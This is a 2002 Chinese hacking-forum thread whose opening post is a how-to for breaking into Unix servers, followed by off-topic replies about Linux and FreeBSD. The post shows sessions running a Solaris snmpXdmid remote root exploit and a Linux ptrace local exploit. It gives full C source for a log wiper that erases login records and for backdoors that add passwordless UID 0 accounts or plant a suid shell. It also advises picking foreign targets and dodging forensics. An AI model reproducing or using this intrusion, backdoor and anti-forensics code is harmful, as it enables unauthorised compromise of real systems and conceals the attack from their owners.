>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  浅谈入侵UNIX[转帖]
发表文章 发表涂鸦
  回复数:12  点击数:337 将此页发给您的朋友        
作者 主题: 浅谈入侵UNIX[转帖] 回复 | 收藏 | 打印 | 篇末
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

一:基本知识

1:常见UNIX版本:
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
2:简单介绍几个
sunos&solaris SUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策;
Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd;
Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。
3:UNIX操作系统的特点
(1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。
4:尤为突出的优点
(1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。

二:入侵目的

1:学习UNIX,熟悉内部操作,整体配置...
2:做跳板或以此捕捉更多UNIX肉鸡;
3:越权得到某些正常请求下得不到的东西;
4:攻击破坏或以此作为利器来破坏其他系统;
5:更多......

三:入侵方法

1:寻找目标

工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,凭个人喜好选用
supperscan:扫描23,79端口,注意含%,#,&...主机,这些就是UNIX;
LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确;
流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。
其他方法一样...
(说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别)

2:开始入侵

(1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译)
A:远程溢出
溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind 远程溢出,Sun Solaris 5.7/5.8 Sparc远程溢出,redhat6.xrpc status远程溢出...自己去一一了解吧,在这里我简单说两个例子:
a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=),因为这个溢出程序有已经编译好了可以直接在windows下使用;
a2un Solaris 5.7 Sparc远程溢出
搜索...终于让我找到了一台sunos 5.7,上我一台sunos 5.8
telnet 66.*.146.48 ----->>这是我的!
SunOS 5.8

login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>当时溢出时做的处理!
# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c

....... ----->>太长了,省略...自己去找!

# gcc -o snmp snmp.c ----->>用gcc编译
snmp.c: In function ****main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->开始溢出!!
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>是root哦!
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先!
echo "ply::::::::" >> /etc/shadow
... ----->>还想干什么就继续吧!

B:本地溢出
本地溢出需要一个具有Shell权限的帐号,这个帐号可以通过pop3或ftp弱密码得到,照样举个例子:
流光扫描...一会儿得到了一个ftp帐号(webmaster,webmaster),先telnet上去!
telnet *.174.62.135

Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
Kernel 2.2.12-20kr2smp on an i686
login: webmaster
Password:
Last login: Wed Apr 24 02:21:58 from *.*.*.*
You have mail. ----->>这家伙有新邮件,不过我没兴趣!
[webmaster@ns webmaster]$ ----->>气人的普通用户$
[webmaster@ns webmaster]$cat >ts.c
... ----->>要学会利用网络资源,自己找,当是练习!
[webmaster@ns webmaster]$gcc -o ts ts.c ----->>还是用gcc编译。
In file included from /usr/include/asm/user.h:5,
from /usr/include/linux/user.h:1,
from ts.c:30:
/usr/include/linux/ptrace.h:22: warning: ****PTRACE_SYSCALL' redefined
/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
inition
[webmaster@ns webmaster]$ ls
Desktop/ Mail/ ts* ts.c
[webmaster@ns webmaster]$ ./ts
attached
bash# su root
[root@ns webmaster]# ----->>搞定,看见#我就高兴!
[root@ns webmaster]# cat >wipe.c ----->>扫脚印的,这个还是给大家吧,否则有人要扁我了!
/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( unewn4th@usa.net )
=============================================================================
*/

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <utmp.h>

#ifdef UTMAXTYPE
#define UTMPX
#include <utmpx.h>
#endif
#include <pwd.h>
#ifndef _PATH_LASTLOG
#include <lastlog.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

#define SVR4_UTMP "/var/adm/utmp"
#define SVR4_WTMP "/var/adm/wtmp"
#define SVR4_LASTLOG "/var/adm/lastlog"

#define SUNOS4_UTMP "/etc/utmp"
#define SUNOS4_WTMP "/usr/adm/wtmp"
#define SUNOS4_LASTLOG "/usr/adm/lastlog"

#define BSD_UTMP "/var/run/utmp"
#define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog"

#define MAX_FPATH 512

int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
void *ent;
char *un;
int sz,fd,c=0;

if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}
if ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c++;
}
close(fd);
printf("Wiped %d entries of %s from %s.\n",c,user,path);
return(0);
}

int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
struct lastlog ent;
int fd;
char buffer[MAX_FPATH];

if (type==0) strcpy(buffer,path);
else sprintf(buffer,"%s/%s",path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf("Wiped %s from %s.\n",user,path);
return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type;

if (argc!=2){
printf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
if (getpwnam(argv[1])==NULL){
printf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf("Can not wipe. System Unknown.\n");
#endif
}else
printf("Can not wipe. System Unknown.\n");

wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d

[root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以扫掉脚印了!

(2)扫描弱口令或暴力破解口令
A:弱口令使用于大范围搜捕,即利用少量常见多用密码去推测大量主机的telnet,ftp或pop3
B:暴力破解适用于针对某一主机,比如说利用finger获得了用户列表,即可采用字典攻击!或者说利用其他漏洞(如phf漏洞)获得了passwd,shadow文件,可以拿john或者乱刀解破,能否解破?看运气!

(3)利用特洛伊木马窃取口令(我没有这么做过,但这不失为一种方法)

(4)网络监听和数据截取(大家和我一起努力吧,努力学会利用这种方法)

(5)这里给大家几个简单的后门程序,复杂的自己去看!
a1:口令文件 passwd 中增加一个 UID 为 0 的帐号
#include <stdio.h>

main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
a2:在 /tmp 目录下放置 suid shell
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:管理员偶然地输入cd..时向/etc/passwd文件添加一个UID 0 帐号
#include <stdio.h>
#include <stdlib.h>

main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
(6)攻击(特别是溢出)的方式很多,但方法大多大同小异,故不再赘叙!

四:补充说明

1:如用supperscan发现某ip段存在大量unix主机,马上转用弱口令破解;或发现某连续ip段全是同一个unix版本操作系统,则此ip段很有可能是某大公司,企业,高校或其他,一般防护甚严,不存在溢出漏洞,无需逐一尝试溢出,随便选两三个试试看行不行;
2:到信息产业发达的国家去找,比如说美国,日本...不要找国内的,又少又危险!
3:若发现telnet不上上次成功溢出的肉鸡,说明此肉鸡的ip是动态的,但ip改变不会太大,在临近ip再搜一遍即可!

五:强调说明

不要简单地认为你已经轻易地檫干净了你的入侵痕迹,很多有经验的管理员都把日志文件转到了其他主机上或作相关安全处理,一旦管理员发现了入侵,他会从如下方面来分析攻击者的入侵方式,你应该以此做出相应的应对措施:
1:查找系统文件和系统培植文件的变化;
2:查找数据文件的变化;
3:查找入侵留下的数据文件和相关工具;
4:检查日志文件
5:查找出网络监听的迹象
6:检查局域网上的其他计算机。

六:本文中存在的缺点错误还望容忍并多加批评与指正!本文欢迎转载,但请务必保持全文完整!

七:警告,请清醒地估量你的行为可能带来的后果!

作者:萤城客 E-Mail:8ddddd@21cn.com




----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-27.14:38:44   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

有不少 错误的地方 对了现在出了不少expliot 呵呵大家可以去试试
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-27.18:20:49   MSIE 5.01 Windows 2000IP: 已记录
神仙姐姐美女哟
级别:风云使者
威望:0
经验:9
货币:3051
体力:32
来源:紫禁城
总发帖数:1081
注册日期:2002-01-28
查看 邮件 主页 QQ 消息 引用 复制 下载 

我感觉很复杂:( 一点都没看明白~~
我的耐心不够。
对了我加你的QQ 可以从来没看到你再线过~~~
你是不是还有别的号码啊?
----------------------------------------------------------
淡泊明志,宁静至远;请别害我,我是好人!

编辑 删除 发表时间发表于 2002-04-27.20:32:05   MSIE 5.0 Windows 98IP: 已记录
飘伶美女哟
级别:高级站友
威望:0
经验:0
货币:525
体力:50
来源:61.142.41.*
总发帖数:170
注册日期:2002-01-03
查看 邮件 主页 QQ 消息 引用 复制 下载 

你没有UNIX的肉机怎样才能溢出才是最重要的。
先去下个能在WIN下的编缉器才会那到UNIX的肉鸡。
往往你们这些高手终是留了一手。
----------------------------------------------------------
学,我学.学.学

http://www.thugx.com/

编辑 删除 发表时间发表于 2002-04-27.21:54:05   MSIE 5.5 Windows MeIP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

我自己的机子上有LINUX,FREEEBSD,SOLARIS,可以编译常见的EXPLIOT了
我确实还有一个QQ,呵呵,神仙姐姐,你好聪明!
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-27.23:58:05   MSIE 6.0 Windows 2000IP: 已记录
扑街帅哥哦
级别:管理员
威望:4
经验:122
货币:6113
体力:99
来源:青山精神病院
总发帖数:2268
注册日期:2001-07-23
查看 邮件 主页 QQ 消息 引用 复制 下载 

今天对FREEBSD进行优化,出现严重错误,害得我要重装,到刚才才解决!
----------------------------------------------------------
今生无缘,泪如雨下,我试着忘记红尘中你留下的故事,可数日以来我始终无法走出你曾给我的感情世界,我深知让往事随风不是说说那么容易的. 天空下我们彼此站成了两个无法相溶的世界我却又总想忍住悲伤,而思念像穿透了灵魂一般不可抑制

编辑 删除 发表时间发表于 2002-04-28.00:06:42   MSIE 6.0b Windows 98IP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

没关系,大家都是这么痛苦过来的,你现在到底是在玩Linux还是FreeBSD啊?
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-28.09:16:53   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

freebsd 是叫我头大的一种
我还是学学 linux吧
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-28.09:29:11   MSIE 5.01 Windows 2000IP: 已记录
扑街帅哥哦
级别:管理员
威望:4
经验:122
货币:6113
体力:99
来源:青山精神病院
总发帖数:2268
注册日期:2001-07-23
查看 邮件 主页 QQ 消息 引用 复制 下载 

我两个都在看呀,WINDOWS的越来越没意思所以就看其它的,还有我装了个LINDOWS,哈哈,跟WINDOWS的界面一样,是LINUX与WINDOWS的综合体..买书都买穷了,前几天买了一千多块书,有得我看了.~~~可今个月就没钱吃饭了~~~~~~~~哈哈哈.....还有,FREEBSD好像比LINUX难学点,有时看着看着会摸不着头!好像论坛不能回贴???
----------------------------------------------------------
今生无缘,泪如雨下,我试着忘记红尘中你留下的故事,可数日以来我始终无法走出你曾给我的感情世界,我深知让往事随风不是说说那么容易的. 天空下我们彼此站成了两个无法相溶的世界我却又总想忍住悲伤,而思念像穿透了灵魂一般不可抑制

编辑 删除 发表时间发表于 2002-04-28.14:09:36   MSIE 6.0b Windows 98IP: 已记录
蓝色王中王帅哥哦
级别:中级站友
威望:0
经验:0
货币:223
体力:34.1
来源:61.167.237.*
总发帖数:41
注册日期:2002-04-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

T
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-04-28.19:32:07   MSIE 5.0 Windows 98IP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

我这学期开学到现在也买了一千多的书!穷死了现在!
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-29.00:07:32   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

freebsd 是unix 系统和unix更一样 呵呵说起unix 我最喜欢 aix系统
起码shell一样的多
我头大的问题就是unix系统不友好,回显我很难受 ,但是freebsd确实是做服务器的好东西 乌鸦叫我装了个freebsd 4.5真他妈的快佩服 和linux比起
linux 太慢了这个也是我一直用rh62的缘故 rh72的好象一直都在说他的内核和一些服务有问题因为我也没在rh72上面换过服务也不大清楚
初学我觉得还是rh62的好
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-04-29.09:24:06   MSIE 5.01 Windows 2000IP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

FreeBSD是我见过的安装最快,响应速度最快的操作系统,理所当然的成为我的最爱!
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-29.13:45:58   MSIE 6.0 Windows 2000IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题